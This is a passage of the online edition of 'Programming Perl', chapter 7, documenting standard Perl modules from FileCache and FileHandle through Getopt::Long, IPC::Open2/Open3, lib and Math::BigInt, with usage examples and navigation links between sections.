rmtree() returns the number of files successfully deleted. Symbolic links are treated as ordinary files.

Previous: 7.2.30 File::Find - Traverse a File Tree | Programming Perl | Next: 7.2.32 FileCache - Keep More Files Open Than the System Permits
7.2.30 File::Find - Traverse a File Tree | Book Index | 7.2.32 FileCache - Keep More Files Open Than the System Permits


[Chapter 7] 7.2.32 FileCache - Keep More Files Open Than the System Permits

Programming PerlSearch this book

7.2.32 FileCache - Keep More Files Open Than the System Permits

use FileCache;

cacheout $path;         # open the file whose path name is $path
print $path "stuff\n";  # print stuff to file given by $path

The cacheout() subroutine makes sure that the file whose name is $path is created and accessible through the filehandle also named $path. It permits you to write to more files than your system allows to be open at once, performing the necessary opens and closes in the background. By preceding each file access with:

cacheout $path;

you can be sure that the named file will be open and ready to do business. However, you do not need to invoke cacheout() between successive accesses to the same file.

cacheout() does not create directories for you. If you use it to open an existing file that FileCache is seeing for the first time, the file will be truncated to zero length with no questions asked. (However, in its opening and closing of files in the background, cacheout() keeps track of which files it has opened before and does not overwrite them, but appends to them instead.)

cacheout() checks the value of NOFILE in sys/param.h to determine the number of open files allowed. This value is incorrect on some systems, in which case you should set $FileCache::maxopen to be four less than the correct value for NOFILE.

Previous: 7.2.31 File::Path - Create or Remove a Series of Directories | Programming Perl | Next: 7.2.33 FileHandle - Supply Object Methods for Filehandles
7.2.31 File::Path - Create or Remove a Series of Directories | Book Index | 7.2.33 FileHandle - Supply Object Methods for Filehandles


[Chapter 7] 7.2.33 FileHandle - Supply Object Methods for Filehandles

Programming PerlSearch this book

7.2.33 FileHandle - Supply Object Methods for Filehandles

use FileHandle;

$fh = new FileHandle;
if ($fh->open "< file") {
    print <$fh>;
    $fh->close;
}

$fh = new FileHandle "> file";
if (defined $fh) {
    print $fh "bar\n";
    $fh->close;
}

$fh = new FileHandle "file", "r";
if (defined $fh) {
    print <$fh>;
    undef $fh;       # automatically closes the file
}

$fh = new FileHandle "file", O_WRONLY|O_APPEND;
if (defined $fh) {
    print $fh "stuff\n";
    undef $fh;       # automatically closes the file
}

$pos = $fh->getpos;
$fh->setpos($pos);

$fh->setvbuf($buffer_var, _IOLBF, 1024);

($readfh, $writefh) = FileHandle::pipe;

autoflush STDOUT 1;
new

Creates a FileHandle, which is a reference to a newly created symbol (see the Symbol library module). If it receives any parameters, they are passed to open(). If the open fails, the FileHandle object is destroyed. Otherwise, it is returned to the caller.

new_from_fd

Creates a FileHandle like new() does. It requires two parameters, which are passed to fdopen(); if the fdopen() fails, the FileHandle object is destroyed. Otherwise, it is returned to the caller.

open

Accepts one parameter or two. With one parameter, it is just a front end for the built-in open function. With two parameters, the first parameter is a filename that may include whitespace or other special characters, and the second parameter is the open mode in either Perl form (">", "+<", and so on) or POSIX form ("w", "r+", and so on).

fdopen

Like open() except that its first parameter is not a filename but rather a filehandle name, a FileHandle object, or a file descriptor number.

getpos

If the C functions fgetpos(3) and fsetpos(3) are available, then getpos() returns an opaque value that represents the current position of the FileHandle, and setpos() uses that value to return to a previously visited position.

setvbuf

If the C function setvbuf(3) is available, then setvbuf() sets the buffering policy for the FileHandle. The calling sequence for the Perl function is the same as its C counterpart, including the macros _IOFBF, _IOLBF, and _IONBF, except that the buffer parameter specifies a scalar variable to use as a buffer.

WARNING: A variable used as a buffer by setvbuf() must not be modified in any way until the FileHandle is closed or until setvbuf() is called again, or memory corruption may result!

The following supported FileHandle methods are just front ends for the corresponding built-in Perl functions:

clearerr | getc
close | gets
eof | seek
fileno | tell

The following supported FileHandle methods correspond to Perl special variables:

autoflush | format_page_number
format_formfeed | format_top_name
format_line_break_characters | input_line_number
format_lines_left | input_record_separator
format_lines_per_page | output_field_separator
format_name | output_record_separator

Furthermore, for doing normal I/O you might need these methods:

$fh->print

See Perl's built-in print function.

$fh->printf

See Perl's built-in printf function.

$fh->getline

This method works like Perl's <FILEHANDLE> construct, except that it can be safely called in an array context, where it still returns just one line.

$fh->getlines

This method works like Perl's <FILEHANDLE> construct when called in an array context to read all remaining lines in a file. It will also croak() if accidentally called in a scalar context.

7.2.33.1 Bugs

Due to backward compatibility, all filehandles resemble objects of class FileHandle, or actually classes derived from that class. But they aren't. Which means you can't derive your own class from FileHandle and inherit those methods.

While it may look as though the filehandle methods corresponding to the built-in variables are unique to a particular filehandle, currently some of them are not, including the following:

input_line_number()
input_record_separator()
output_record_separator()

Previous: 7.2.32 FileCache - Keep More Files Open Than the System Permits | Programming Perl | Next: 7.2.34 GDBM_File - Tied Access to GDBM Library
7.2.32 FileCache - Keep More Files Open Than the System Permits | Book Index | 7.2.34 GDBM_File - Tied Access to GDBM Library


[Chapter 7] 7.2.34 GDBM_File - Tied Access to GDBM Library

Programming PerlSearch this book

7.2.34 GDBM_File - Tied Access to GDBM Library

use GDBM_File;

tie (%hash, "GDBM_File", $filename, &GDBM_WRCREAT, 0644);
# read/writes of %hash are now read/writes of $filename
untie %hash;

GDBM_File is a module that allows Perl programs to make use of the facilities provided by the GNU gdbm library. If you intend to use this module, you should have a copy of the gdbm(3) manpage at hand.

Most of the libgdbm.a functions are available as methods of the GDBM_File interface.

7.2.34.1 Availability

gdbm is available from any GNU archive. The master site is prep.ai.mit.edu, but you are strongly urged to use one of the many mirrors. You can obtain a list of mirror sites by issuing the command, finger fsf@prep.ai.mit.edu. A copy is also stored on CPAN:

http://www.perl.com/CPAN/src/misc/gdbm-1.7.3.tar.gz

7.2.34.2 See also

DB_File library module.

Previous: 7.2.33 FileHandle - Supply Object Methods for Filehandles | Programming Perl | Next: 7.2.35 Getopt::Long - Extended Processing of Command-Line Options
7.2.33 FileHandle - Supply Object Methods for Filehandles | Book Index | 7.2.35 Getopt::Long - Extended Processing of Command-Line Options


[Chapter 7] 7.2.35 Getopt::Long - Extended Processing of Command-Line Options

Programming PerlSearch this book

7.2.35 Getopt::Long - Extended Processing of Command-Line Options

use Getopt::Long;
$result = GetOptions(option-descriptions);

The Getopt::Long module implements an extended function called GetOptions(). This function retrieves and processes the command-line options with which your Perl program was invoked, based on the description of valid options that you provide.

GetOptions() adheres to the POSIX syntax for command-line options, with GNU extensions. In general, this means that options have long names instead of single letters, and are introduced with a double hyphen --. (A single hyphen can also be used, but implies restrictions on functionality. See later in the chapter.) There is no bundling of command-line options, as was the case with the more traditional single-letter approach. For example, the UNIX ps(1) command can be given the command-line argument:

-vax

which means the combination of -v, -a and -x. With the Getopt::Long syntax, -vax would be a single option.

Command-line options can be used to set values. These values can be specified in one of two ways:

--size 24
--size=24

GetOptions() is called with a list of option descriptions, each of which consists of two elements: the option specifier and the option linkage. The option specifier defines the name of the option and, optionally, the value it can take. The option linkage is usually a reference to a variable that will be set when the option is used. For example, the following call to GetOptions():

&GetOptions("size=i" => \$offset);

will accept a command-line option "size" that must have an integer value. With a command line of --size 24 this will cause the variable $offset to be assigned the value 24.

Alternatively, the first argument to GetOptions may be a reference to a hash describing the linkage for the options. The following call is equivalent to the example above:

%optctl = (size => \$offset);
&GetOptions(\%optctl, "size=i");

Linkage may be specified using either of the above methods, or both. The linkage specified in the argument list takes precedence over the linkage specified in the hash.

The command-line options are implicitly taken from array @ARGV. Upon completion of GetOptions(), @ARGV will contain only the command-line arguments that were not options. (But see below for a way to process non-option arguments.) Each option specifier handed to GetOptions() designates the name of an option, possibly followed by an argument specifier. Values for argument specifiers are:

<none>

Option does not take an argument. If the user invokes the option, the option variable will be set to 1.

!

Option does not take an argument and may be negated, that is, prefixed by "no". For example, foo! will allow --foo (with value 1 being assigned to the option variable) and -nofoo (with value 0).

=s

Option takes a mandatory string argument. This string will be assigned to the option variable. Even if the string argument starts with - or --, it will be assigned to the option variable rather than taken as a separate option.

:s

Option takes an optional string argument. This string will be assigned to the option variable. If the string is omitted from the command invocation, "" (an empty string) will be assigned to the option variable. If the string argument starts with - or --, it will be taken as another option rather than assigned to the option variable.

=i

Option takes a mandatory integer argument. This value will be assigned to the option variable. Note that the value may start with - to indicate a negative value.

:i

Option takes an optional integer argument. This integer value will be assigned to the option variable. If the optional argument is omitted, the value 0 will be assigned to the option variable. The value may start with - to indicate a negative value.

=f

Option takes a mandatory floating-point argument. This value will be assigned to the option variable. Note that the value may start with - to indicate a negative value.

:f

Option takes an optional floating-point argument. This value will be assigned to the option variable. If the optional argument is omitted, the value 0 will be assigned to the option variable. The value may start with - to indicate a negative value.

A lone hyphen - is considered an option; the corresponding option name is the empty string.

A lone double hyphen -- terminates the processing of options and arguments. Any options following the double hyphen will remain in @ARGV when GetOptions() returns.

If an argument specifier concludes with @ (as in =s@), then the option is treated as an array. That is, multiple invocations of the same option, each with a particular value, will result in the list of values being assigned to the option variable, which is an array. See the following section for an example.

7.2.35.1 Linkage specification

The linkage specifier is optional. If no linkage is explicitly specified but a hash reference is passed, GetOptions() will place the value in the hash. For example:

%optctl = ();
&GetOptions (\%optctl, "size=i");

will perform the equivalent of the assignment:

$optctl{"size"} = 24;

For array options, a reference to an anonymous array is generated. For example:

%optctl = ();
&GetOptions (\%optctl, "sizes=i@");

with command-line arguments:

-sizes 24 -sizes 48

will perform the equivalent of the assignment:

$optctl{"sizes"} = [24, 48];

If no linkage is explicitly specified and no hash reference is passed, GetOptions() will put the value in a global variable named after the option, prefixed by opt_. To yield a usable Perl variable, characters that are not part of the syntax for variables are translated to underscores. For example, --fpp-struct-return will set the variable $opt_fpp_struct_return. (Note that this variable resides in the namespace of the calling program, not necessarily main.) For example:

&GetOptions ("size=i", "sizes=i@");

with command line:

-size 10 -sizes 24 -sizes 48

will perform the equivalent of the assignments:

$opt_size = 10;
@opt_sizes = (24, 48);

A lone hyphen (-) is considered an option; the corresponding identifier is $opt_ .

The linkage specifier can be a reference to a scalar, a reference to an array, or a reference to a subroutine:

  • If a scalar reference is supplied, the new value is stored in the referenced variable. If the option occurs more than once, the previous value is overwritten.

  • If an array reference is supplied, the new value is appended (pushed) to the referenced array.

  • If a code reference is supplied, the referenced subroutine is called with two arguments: the option name and the option value. The option name is always the true name, not an abbreviation or alias.

7.2.35.2 Aliases and abbreviations

The option specifier may actually include a "|"-separated list of option names:

foo|bar|blech=s

In this example, foo is the true name of the option. If no linkage is specified, options -foo, -bar and -blech all will set $opt_foo.

Options may be invoked as unique abbreviations, depending on configuration variable $Getopt::Long::autoabbrev.

7.2.35.3 Non-option callback routine

A special option specifier <> can be used to designate a subroutine to handle non-option arguments. For example:

&GetOptions(..."<>", \&mysub...);

In this case GetOptions() will immediately call &mysub for every non-option it encounters in the options list. This subroutine gets the name of the non-option passed. This feature requires $Getopt::Long::order to have the value of the predefined and exported variable, $PERMUTE. See also the examples.

7.2.35.4 Option starters

On the command line, options can start with - (traditional), -- (POSIX), and + (GNU, now being phased out). The latter is not allowed if the environment variable POSIXLY_CORRECT has been defined.

Options that start with -- may have an argument appended, following an equals sign (=). For example: --foo=bar.

7.2.35.5 Return value

A return status of 0 (false) indicates that the function detected one or more errors.

7.2.35.6 Configuration variables

The following variables can be set to change the default behavior of GetOptions():

$Getopt::Long::autoabbrev

If true, then allow option names to be invoked with unique abbreviations. Default is 1 unless environment variable POSIXLY_CORRECT has been set.

$Getopt::Long::getopt_compat

If true, then allow "+" to start options. Default is 1 unless environment variable POSIXLY_CORRECT has been set.

$Getopt::Long::order

If set to $PERMUTE, then non-options are allowed to be mixed with options on the command line. If set to $REQUIRE_ORDER, then mixing is not allowed. Default is $REQUIRE_ORDER if environment variable POSIXLY_CORRECT has been set, $PERMUTE otherwise. Both $PERMUTE and $REQUIRE_ORDER are defined in the library module and automatically exported. $PERMUTE means that:

-foo arg1 -bar arg2 arg3

is equivalent to:

-foo -bar arg1 arg2 arg3

If a non-option callback routine is specified, @ARGV will always be empty upon successful return of GetOptions() since all options have been processed, except when -- is used. So, for example:

-foo arg1 -bar arg2 -- arg3

will call the callback routine for arg1 and arg2, and then terminate, leaving arg3 in @ARGV. If $Getopt::Long::order is $REQUIRE_ORDER, option processing terminates when the first non-option is encountered.

-foo arg1 -bar arg2 arg3

is equivalent to:

-foo -- arg1 -bar arg2 arg3
$Getopt::Long::ignorecase

If true, then ignore case when matching options. Default is 1.

$Getopt::Long::VERSION

The version number of this Getopt::Long implementation is in the format major.minor. This can be used to have Exporter check the version. Example:

use Getopt::Long 2.00;

$Getopt::Long::major_version and $Getopt::Long::minor_version may be inspected for the individual components.

$Getopt::Long::error

Internal error flag. May be incremented from a callback routine to cause options parsing to fail.

$Getopt::Long::debug

Enable copious debugging output. Default is 0.

7.2.35.7 Examples

If the option specifier is one:i (which takes an optional integer argument), then the following situations are handled:

-one -two            # $opt_one = "", -two is next option
-one -2              # $opt_one = -2

Also, assume specifiers foo=s and bar:s:

-bar -xxx            # $opt_bar = "", -xxx is next option
-foo -bar            # $opt_foo = '-bar'
-foo --              # $opt_foo = '--'

In GNU or POSIX format, option names and values can be combined:

+foo=blech           # $opt_foo = 'blech'
--bar=               # $opt_bar = ""
--bar=--             # $opt_bar = '--'

Example using variable references:

$ret = &GetOptions ('foo=s', \$foo, 'bar=i', 'ar=s', \@ar);

With command-line options -foo blech -bar 24 -ar xx -ar yy this will result in:

$opt_foo = 'blech'
$opt_bar = 24
@ar = ('xx', 'yy')

Example of using the <> option specifier:

@ARGV = qw(-foo 1 bar -foo 2 blech);
&GetOptions("foo=i", \$myfoo, "<>", \&mysub);

Results:

&mysub("bar") will be called (with $myfoo being 1)
&mysub("blech") will be called (with $myfoo being 2)

Compare this with:

@ARGV = qw(-foo 1 bar -foo 2 blech);
&GetOptions("foo=i", \$myfoo);

This will leave the non-options in @ARGV:

$myfoo becomes 2
@ARGV  becomes qw(bar blech)

If you're using the use strict pragma, which requires you to employ only lexical variables or else globals that are fully declared, you will have to use the double-colon package delimiter or else the use vars pragma. For example:

use strict;
use vars qw($opt_rows $opt_cols);
use Getopt::Long;

Previous: 7.2.34 GDBM_File - Tied Access to GDBM Library | Programming Perl | Next: 7.2.36 Getopt::Std - Process Single-Character Options with Option Clustering
7.2.34 GDBM_File - Tied Access to GDBM Library | Book Index | 7.2.36 Getopt::Std - Process Single-Character Options with Option Clustering


[Chapter 7] 7.2.36 Getopt::Std - Process Single-Character Options with Option Clustering

Programming PerlSearch this book

7.2.36 Getopt::Std - Process Single-Character Options with Option Clustering

use Getopt::Std;

getopt('oDI');    # -o, -D & -I take arg.  Sets opt_* as a side effect.
getopts('oif:');  # -o & -i are boolean flags, -f takes an argument.
                  # Sets opt_* as a side effect.

The getopt() and getopts() functions give your program simple mechanisms for processing single-character options. These options can be clustered (for example, -bdLc might be interpreted as four single-character options), and you can specify individual options that require an accompanying argument. When you invoke getopt() or getopts(), you pass along information about the kinds of options your program expects. These functions then analyze @ARGV, extract information about the options, and return this information to your program in a set of variables. The processing of @ARGV stops when an argument without a leading "-" is encountered, if that argument is not associated with a preceding option. Otherwise, @ARGV is processed to its end and left empty.

For each option in your program's invocation, both getopt() and getopts() define a variable $opt_x where x is the option name. If the option takes an argument, then the argument is read and assigned to $opt_x as its value; otherwise, a value of 1 is assigned to the variable.

Invoke getopt() with one argument, which should contain all options that require a following argument. For example:

getopt('dV');

If your program is then invoked as:

myscr -bfd January -V 10.4

then these variables will be set in the program:

$opt_b = 1;
$opt_f = 1;
$opt_d = "January";
$opt_V = 10.4;

Space between an option and its following argument is unnecessary. The previous command line could have been given this way:

myscr -bfdJanuary -V10.4

In general, your program can be invoked with options given in any order. All options not "declared" in the invocation of getopt() are assumed to be without accompanying argument.

Where getopt() allows any single-character option, getopts() allows only those options you declare explicitly. For example, this invocation:

getopts('a:bc:');

legitimizes only the options -a, -b, and -c. The colon following the a and c means that these two options require an accompanying argument; b is not allowed to have an argument. Accordingly, here are some ways to invoke the program:

myscr -abc              # WRONG unless bc is really the argument to -a
myscr -a -bc            # WRONG, with same qualification
myscr -a foo -bc bar    # $opt_a = "foo"; $opt_b = 1; $opt_c = "bar"
myscr -bafoo -cbar      # same as previous

getopts() returns false if it encounters errors during option processing. However, it continues to process arguments and assign values as best it can to $opt_x variables. You should always check for errors before assuming that the variables hold meaningful values.

getopt() does not return a meaningful value.

Remember that both getopt() and getopts() halt argument processing upon reading an argument (without leading "-") where none was called for. This is not considered an error. So a user might invoke your program with invalid arguments, without your being notified of the fact. However, you can always check to see whether @ARGV has been completely emptied or not - that is, whether all arguments have been processed. If you're using the use strict pragma, which requires you to employ only lexical variables or else globals that are fully declared, you will have to use the double-colon package delimiter or else the use vars pragma. For example:

use strict;
use vars qw($opt_o $opt_i $opt_D);
use Getopt::Std;

Previous: 7.2.35 Getopt::Long - Extended Processing of Command-Line Options | Programming Perl | Next: 7.2.37 I18N::Collate - Compare 8-bit Scalar Data According to the Current Locale
7.2.35 Getopt::Long - Extended Processing of Command-Line Options | Book Index | 7.2.37 I18N::Collate - Compare 8-bit Scalar Data According to the Current Locale


[Chapter 7] 7.2.37 I18N::Collate - Compare 8-bit Scalar Data According to the Current Locale

Programming PerlSearch this book

7.2.37 I18N::Collate - Compare 8-bit Scalar Data According to the Current Locale

use I18N::Collate;

setlocale(LC_COLLATE, $locale);         # uses POSIX::setlocale
$s1 = new I18N::Collate "scalar_data_1";
$s2 = new I18N::Collate "scalar_data_2";

This module provides you with objects that can be collated (ordered) according to your national character set, provided that Perl's POSIX module and the POSIX setlocale(3) and strxfrm(3) functions are available on your system. $locale in the setlocale() invocation shown above must be an argument acceptable to setlocale(3) on your system. See the setlocale(3) manpage for further information. Available locales depend upon your operating system.

Here is an example of collation within the standard `C' locale:

use I18N::Collate;

setlocale(LC_COLLATE, 'C');
$s1 = new I18N::Collate "Hello";
$s2 = new I18N::Collate "Goodbye";
# following line prints "Hello comes before Goodbye"
print "$$s1 comes before $$s2" if $s2 le $s1;

The objects returned by the new() method are references. You can get at their values by dereferencing them - for example, $$s1 and $$s2. However, Perl's built-in comparison operators are overloaded by I18N::Collate, so that they operate on the objects returned by new() without the necessity of dereference. The print line above dereferences $s1 and $s2 to access their values directly, but does not dereference the variables passed to the le operator. The comparison operators you can use in this way are the following:

<   <=  >   >=  ==  !=  <=>
lt  le  gt  ge  eq  ne  cmp

I18N::Collate uses POSIX::setlocale() and POSIX::strxfrm() to perform the collation. Unlike strxfrm(), however, I18N::Collate handles embedded NULL characters gracefully.

To determine which locales are available with your operating system, check whether the command:

locale -a

lists them. You can also check the locale(5) or nlsinfo manpages, or look at the filenames within one of these directories (or their subdirectories): /usr/lib/nls, /usr/share/lib/locale, or /etc/locale. Not all locales your vendor supports are necessarily installed. Please consult your operating system's documentation and possibly your local system administrator.

Previous: 7.2.36 Getopt::Std - Process Single-Character Options with Option Clustering | Programming Perl | Next: 7.2.38 integer - Do Arithmetic in Integer Instead of Double
7.2.36 Getopt::Std - Process Single-Character Options with Option Clustering | Book Index | 7.2.38 integer - Do Arithmetic in Integer Instead of Double


[Chapter 7] 7.2.38 integer - Do Arithmetic in Integer Instead of Double

Programming PerlSearch this book

7.2.38 integer - Do Arithmetic in Integer Instead of Double

use integer;

$x = 10/3;   # $x is now 3, not 3.33333333333333333

This module tells the compiler to use integer operations from here to the end of the enclosing block. On many machines, this doesn't matter a great deal for most computations, but on those without floating point hardware, it can make a big difference.

This pragma does not automatically cast everything to an integer; it only forces integer operations on arithmetic. For example:

use integer;
print sin(3);           # 0.141120008059867
print sin(3) + 4;       # 4

You can turn off the integer pragma within an inner block by using the no integer directive.

Previous: 7.2.37 I18N::Collate - Compare 8-bit Scalar Data According to the Current Locale | Programming Perl | Next: 7.2.39 IPC::Open2 - Open a Process for Both Reading and Writing
7.2.37 I18N::Collate - Compare 8-bit Scalar Data According to the Current Locale | Book Index | 7.2.39 IPC::Open2 - Open a Process for Both Reading and Writing


[Chapter 7] 7.2.39 IPC::Open2 - Open a Process for Both Reading and Writing

Programming PerlSearch this book

7.2.39 IPC::Open2 - Open a Process for Both Reading and Writing

use IPC::Open2;

# with named filehandles
$pid = open2(\*RDR, \*WTR, $cmd_with_args);
$pid = open2(\*RDR, \*WTR, $cmd, "arg1", "arg2", ...);
# with object-oriented handles
use FileHandle;
my($rdr, $wtr) = (FileHandle->new, FileHandle->new);
$pid = open2($rdr, $wtr, $cmd_with_args);

The open2() function forks a child process to execute the specified command. The first two arguments represent filehandles, one way or another. They can be FileHandle objects, or they can be references to typeglobs, which can either be explicitly named as above, or generated by the Symbol package, as in the example below. Whichever you choose, they represent handles through which your program can read from the command's standard output and write to the command's standard input, respectively. open2() differs from Perl's built-in open function in that it allows your program to communicate in both directions with the child process.

open2() returns the process ID of the child process. On failure it reports a fatal error.

Here's a simple use of open2() by which you can give the program user interactive access to the bc(1) command. (bc is an arbitrary-precision arithmetic package.) In this case we use the Symbol module to produce "anonymous" symbols:

use IPC::Open2;
use Symbol;

$WTR = gensym();  # get a reference to a typeglob
$RDR = gensym();  # and another one

$pid = open2($RDR, $WTR, 'bc');

while (<STDIN>) {            # read commands from user
     print $WTR $_;          # write a command to bc(1)
     $line = <$RDR>;         # read the output of bc(1)
     print STDOUT "$line";   # send the output to the user
}

open2() establishes unbuffered output for $WTR. However, it cannot control buffering of output from the designated command. Therefore, be sure to heed the following warning.

WARNING: It is extremely easy for your program to hang while waiting to read the next line of output from the command. In the example just shown, bc is known to read and write one line at a time, so it is safe. But utilities like sort(1) that read their entire input stream before offering any output will cause a deadlock when used in the manner we have illustrated. You might do something like this instead:

$pid = open2($RDR, $WTR, 'sort');

while (<STDIN>) {
     print $WTR $_;
}
close($WTR);    # finish sending all output to sort(1)

while (<$RDR>) {     # now read the output of sort(1)
     print STDOUT "$_";
}

More generally, you may have to use select to determine which file descriptors are ready to read, and then sysread for the actual reading.

7.2.39.1 See also

The IPC::open3 module shows an alternative that handles STDERR as well.

Previous: 7.2.38 integer - Do Arithmetic in Integer Instead of Double | Programming Perl | Next: 7.2.40 IPC::Open3 - Open a Process for Reading, Writing, and Error Handling
7.2.38 integer - Do Arithmetic in Integer Instead of Double | Book Index | 7.2.40 IPC::Open3 - Open a Process for Reading, Writing, and Error Handling


[Chapter 7] 7.2.40 IPC::Open3 - Open a Process for Reading, Writing, and Error Handling

Programming PerlSearch this book

7.2.40 IPC::Open3 - Open a Process for Reading, Writing, and Error Handling

use IPC::Open3;

$pid = open3($WTR, $RDR, $ERR, $cmd_with_args);
$pid = open3($WTR, $RDR, $ERR, $cmd, "arg1", "arg2", ...);

IPC::Open3 works like IPC::Open2, with the following differences:

  • The first two arguments ($WTR and $RDR) are given in reverse order compared to IPC::Open2.

  • A third filehandle can be given, for standard error. If this argument is given as "", then STDERR and STDOUT for $cmd will be on the same filehandle.

  • If $WTR begins with <&, then the leading <& is stripped from the name and the remainder is assumed to be a regular filehandle for an open file, rather than a reference to a typeglob. open3() opens this file as STDIN for $cmd and closes it in the parent. Likewise, if $RDR or $ERR begins with >&, then $cmd directs STDOUT or STDERR directly to that file rather than to the parent.

Warnings given for IPC::Open2 regarding possible program hangs apply to IPC::Open3 as well.

Previous: 7.2.39 IPC::Open2 - Open a Process for Both Reading and Writing | Programming Perl | Next: 7.2.41 lib - Manipulate @INC at Compile-Time
7.2.39 IPC::Open2 - Open a Process for Both Reading and Writing | Book Index | 7.2.41 lib - Manipulate @INC at Compile-Time


[Chapter 7] 7.2.41 lib - Manipulate @INC at Compile-Time

Programming PerlSearch this book

7.2.41 lib - Manipulate @INC at Compile-Time

use lib LIST;
no lib LIST;

This module simplifies the manipulation of Perl's special @INC variable at compile-time. It is used to add extra directories to Perl's search path so that later use or require statements will find modules not located along Perl's default search path.

7.2.41.1 Adding directories

Directories itemized in LIST are added to the start of the Perl search path. Saying:

use lib LIST;

is almost the same as saying:

BEGIN { unshift(@INC, LIST) }

The difference is that, for each directory in LIST (called $dir here), the lib module also checks to see whether a directory called $dir/$archname/auto exists, where $archname is derived from Perl's configuration information:

use Config;
$archname = $Config{'archname'};

If so, the $dir/$archname directory is assumed to be an architecture-specific directory and is added to @INC in front of $dir.

If LIST includes both $dir and $dir/$archname, then $dir/$archname will be added to @INC twice (assuming $dir/$archname/auto exists).

7.2.41.2 Deleting directories

You should normally only add directories to @INC. If you need to delete directories from @INC, take care to delete only those you yourself added. Otherwise, be certain that the directories you delete are not needed by other modules directly or indirectly invoked by your script. Other modules may have added directories they need for correct operation.

By default the statement:

no lib LIST

deletes the first instance of each named directory from @INC. To delete multiple instances of the same name from @INC you can specify the name multiple times.

To delete all instances of all the specified names from @INC you can specify :ALL as the first parameter of LIST. For example:

no lib qw(:ALL .);

For each directory in LIST (called $dir here) the lib module also checks to see whether a directory called $dir/$archname/auto exists. If so, the $dir/$archname directory is assumed to be a corresponding architecture-specific directory and is also deleted from @INC.

If LIST includes both $dir and $dir/$archname then $dir/$archname will be deleted from @INC twice (assuming $dir/$archname/auto exists).

7.2.41.3 Restoring the original directory list

When the lib module is first loaded, it records the current value of @INC in an array @lib::ORIG_INC. To restore @INC to that value you can say:

@INC = @lib::ORIG_INC;

7.2.41.4 See also

The AddINC module (not in the standard Perl library, but available from CPAN) deals with paths relative to the source file.

Previous: 7.2.40 IPC::Open3 - Open a Process for Reading, Writing, and Error Handling | Programming Perl | Next: 7.2.42 Math::BigFloat - Arbitrary-Length, Floating-Point Math Package
7.2.40 IPC::Open3 - Open a Process for Reading, Writing, and Error Handling | Book Index | 7.2.42 Math::BigFloat - Arbitrary-Length, Floating-Point Math Package


[Chapter 7] 7.2.42 Math::BigFloat - Arbitrary-Length, Floating-Point Math Package

Programming PerlSearch this book

7.2.42 Math::BigFloat - Arbitrary-Length, Floating-Point Math Package

use Math::BigFloat;

$f = Math::BigFloat->new($string);

# NSTR is a number string; SCALE is an integer value.
# In all following cases $f remains unchanged.
# All methods except fcmp() return a number string.
$f->fadd(NSTR);          # return sum of NSTR and $f
$f->fsub(NSTR);          # return $f minus NSTR
$f->fmul(NSTR);          # return $f multiplied by NSTR
$f->fdiv(NSTR[,SCALE]);  # return $f divided by NSTR to SCALE places
$f->fneg();              # return negative of $f
$f->fabs();              # return absolute value of $f
$f->fcmp(NSTR);          # compare $f to NSTR; see below for return value
$f->fround(SCALE);       # return rounded value of $f to SCALE digits
$f->ffround(SCALE);      # return rounded value of $f at SCALEth place
$f->fnorm();             # return normalization of $f
$f->fsqrt([SCALE]);      # return sqrt of $f to SCALE places

This module allows you to use floating-point numbers of arbitrary length. For example:

$float = new Math::BigFloat "2.123123123123123123123123123123123";

Number strings (NSTRs) have the form, /[+-]\d*\.?\d*E[+-]\d+/. Embedded white space is ignored, so that the number strings used in the following two lines are identical:

$f = Math::BigFloat->new("-20.0    0732");
$g = $f->fmul("-20.00732");

The return value NaN indicates either that an input parameter was "Not a Number", or else that you tried to divide by zero or take the square root of a negative number. The fcmp() method returns -1, 0, or 1 depending on whether $f is less than, equal to, or greater than the number string given as an argument. If the number string is undefined or null, the undefined value is returned.

If SCALE is unspecified, division is computed to the number of digits given by:

max($div_scale, length(dividend)+length(divisor))

A similar default scale value is computed for square roots.

When you use this module, Perl's basic math operations are overloaded with routines from Math::BigFloat. Therefore, you don't have to employ the methods shown above to multiply, divide, and so on. You can rely instead on the usual operators. Given this code:

$f = Math::BigFloat->new("20.00732");
$g = Math::BigFloat->new("1.7");

the following six lines all yield the corresponding values for $h:

$h = 20.00732 * 1.7;    # 34.012444 (ordinary math--$h is not an object)
$h = $f * $g;           # "34.012444" ($h is now a BigFloat object)
$h = $f * 1.7;          # "34.012444" ($h is now a BigFloat object)
$h = 20.00732 * $g;     # "34.012444" ($h is now a BigFloat object)
$h = $f->fmul($g);      # "+34012444E-6" ($h is now a BigFloat object)
$h = $f->fmul(1.7);     # "+34012444E-6" ($h is now a BigFloat object)

Previous: 7.2.41 lib - Manipulate @INC at Compile-Time | Programming Perl | Next: 7.2.43 Math::BigInt - Arbitrary-Length Integer Math Package
7.2.41 lib - Manipulate @INC at Compile-Time | Book Index | 7.2.43 Math::BigInt - Arbitrary-Length Integer Math Package


[Chapter 7] 7.2.43 Math::BigInt - Arbitrary-Length Integer Math Package

Programming PerlSearch this book

7.2.43 Math::BigInt - Arbitrary-Length Integer Math Package

use Math::BigInt;

$i = Math::BigInt->new($string);

# BINT is a big integer string; in all following cases $i remains unchanged.
# All methods except bcmp() return a big integer string, or strings.
$i->bneg;       # return negative of $i
$i->babs        # return absolute value of $i
$i->bcmp(BINT)  # compare $i to BINT; see below for return value
$i->badd(BINT)  # return sum of BINT and $i
$i->bsub(BINT)  # return $i minus BINT
$i->bmul(BINT)  # return $i multiplied by BINT
$i->bdiv(BINT)  # return $i divided by BINT; see below for return value
$i->bmod(BINT)  # return $i modulus BINT
$i->bgcd(BINT)  # return greatest common divisor of $i and BINT
$i->bnorm       # return normalization of $i

This module allows you to use integers of arbitrary length. Integer strings (BINTs) have the form /^\s*[+-]?[\d\s]+$/. Embedded whitespace is ignored. Output values are always in the canonical form: /^[+-]\d+$/ . For example:

'+0'                # canonical zero value
'   -123 123 123'   # canonical value:  '-123123123'
'1 23 456 7890'     # canonical value:  '+1234567890'

The return value NaN results when an input argument is not a number, or when a divide by zero is attempted. The bcmp() method returns -1, 0, or 1 depending on whether $f is less than, equal to, or greater than the number string given as an argument. If the number string is undefined or null, the undefined value is returned. In a list context the bdiv() method returns a two-element array containing the quotient of the division and the remainder; in a scalar context only the quotient is returned.

When you use this module, Perl's basic math operations are overloaded with routines from Math::BigInt. Therefore, you don't have to employ the methods shown above to multiply, divide, and so on. You can rely instead on the usual operators. Given this code:

$a = Math::BigInt->new("42 000 000 000 000");
$b = Math::BigInt->new("-111111");

the following five lines yield these string values for $c:

$c = 42000000000000 - -111111;
                          # 42000000111111; ordinary math--$c is a double
$c = $a - $b;             # "+42000000111111"; $c is now a BigInt object
$c = $a - -111111;        # "+42000000111111"; $c is now a BigInt object
$c = $a->bsub($b);        # "+42000000111111"; $c is just a string
